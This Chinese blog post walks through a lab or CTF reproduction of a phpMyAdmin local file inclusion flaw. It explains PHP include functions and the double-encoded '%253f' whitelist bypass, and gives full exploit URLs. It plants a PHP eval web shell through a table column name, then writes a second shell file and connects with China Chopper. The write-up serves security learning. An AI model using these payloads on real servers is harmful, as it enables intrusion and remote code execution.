phpmyadmin漏洞复现——本地文件包含与远程包含

本地文件包含与远程包含

原理:攻击者利用包含的特性,加上应用本身对文件(包含)控制不严格,最终造成攻击者进行任意文件包含。(注:包含的文件会被当成脚本文件来解析)
一句话来说就是:文件包含并不属于漏洞,但是,由于对包含进来的文件不可控,导致了文件包含漏洞的产生。
包含文件很有用,可以简化代码;文件包含分为本地和远程文件包含(需要allow_url_include = On);本地文件包含LFI 远程文件包含 RFI

首先我们来了解4个函数(php)

**1.include:**使用include引用外部文件时,只有代码执行到include代码段时,调用的外部文件才会被引用并读取,当引用的文件发生错误时,系统只会给出个警告错误,而整个php文件会继续执行。

**2.require:**在php文件被执行之前,php解析器会用被引用的文件的全部内容替换require语句,然后与require语句之外的其他语句组成个新的php文件,最后按新的php文件执行程序代码。

3.使用include_once会在导入文件前先检测该文件是否在该页面的其他部分被引用过,如果有,则不会重复引用该文件,程序只能引用一次。(要导入的文件中存在一些自定义函数,那么如果在同一个程序中重复导入这个文件,在第二次导入时便会发生错误,因为php不允许相同名称的函数被重复声明)

4.require_once语句是require语句的延伸,他的功能与require语句基本一致,不同的是,在应用require_once时,先会检查要引用的文件是不是已将在该程序中的其他地方被引用过,如果有,则不会在重复调用该文件。(同时使用require_once语句在同一页面中引用了两个不同的文件,那么在输出时,只有第一个文件被执行,第二个引用的文件则不会被执行)

如果遇到包含的文件需要传参时候,可以写http://192.168.19.131/lfi/2.php?a=1.txt&q=phpinfo();
一个&符号就可以了


下面就是靶场的操作


phpmyadmin的后台

下载源码
找文件包含的漏洞要找require或者include关键字,直接用seay源码审计系统进行全局搜索


直接找到了这个文件,这很明显极有可能存在文件包含的漏洞

我们认真看一下它if语句的满足的4个条件:

  1. 百度搜索一下empty(),这个函数,发现它是只要有传参就会返回false,再加上一个非,就是只要有传参就可以
  2. is_string(),这个函数就是只要是字符串就可以
  3. 不能以/index/开头
  4. 非$target_blacklist数组中
  5. 满足Core类中的checkPageValidity函数

第三点,我们搜索


发现只需要不要这两个php文件就可以了

第四点,我们继续搜索这个checkPageValidity()函数


它有好多if,我们不用管,只需要满足一个if的分支条件是true就可以了
我们先看第一个if,没什么用
第二个是false没用
第三个是true,它要在白名单内,肯定不能任意文件包含

突然,我们看到一个这样的文件,它先是给$_page传参,并且进行了一次url解码,而我们在url栏进行传参的时候就已经编码了一次,这里它再次进行了编码

我们发现它有一个mb_strops()函数,这是一个匹配函数,只要匹配成功就会执行,并且不会去匹配参数后面的东西,我们发现它是在末尾搞了一个.?,拼接上去。

它匹配的又是字符串,好 ,我们是不是可以传参一个参数的时候输入一个?,传参进去,然后它会提前进行匹配,后面的字符它不会去管,我们可以去控制这个参数,让前面的include()去包含我们想让让它去包含的参数

因为它经过二次编码,所以我们找到%25、以及%3f (?),直接拼接成**%253f**,我们在本地运行实验,发现它会字段去忽略25这个数字,返回的仍然是?

于是我们构造,利用白名单中的db_datadict.php%253f/…/,它识别了白名单返回一个true,同时因为我们中止了,后面的…/…/也会传参进去,然后跳回根目录


接下来,找到了漏洞存在的地方,就要去找根目录了,我们一般只有后台的权限,我们要找一个地方去上传一个文件,再让它去包含。

我们在本地文件找找,找到data目录下admin_config.frm,打开,发现里面定义了表列名


我们在在后台创建一个数据库和一个表,表其中一个列为<?php @eval($_REQUEST[‘a’]);?> 一句话码

我们在变量中找到安装路径,制作木马传参

target=db_datadict.php%253f/…/…/…/…/…/…/…/…/…/phpStudy/MySQL/data/archivedlog/archivedlog.frm&a=phpinfo();

我们直接尝试一下传参
url :
http://59.63.200.79:8010/lfi/phpmyadmin/index.php?target=db_datadict.php%253f/…/…/…/…/…/…/…/…/…/phpStudy/MySQL/data/archivedlog/archivedlog.frm&a=phpinfo();
成功


phpinfo()成功那我们就写个码

file_put_contents(‘ac.php’,’<?php @eval($_REQUEST[a]);?>’)

http://59.63.200.79:8010/lfi/phpmyadmin/index.php?target=db_datadict.php%253f/…/…/…/…/…/…/…/…/…/phpStudy/MySQL/data/archivedlog/archivedlog.frm&a=file_put_contents('ac.php‘,’<?php eval($_REQUEST[a])?>’);

尝试访问


上菜刀


找到flag

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Xuno_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值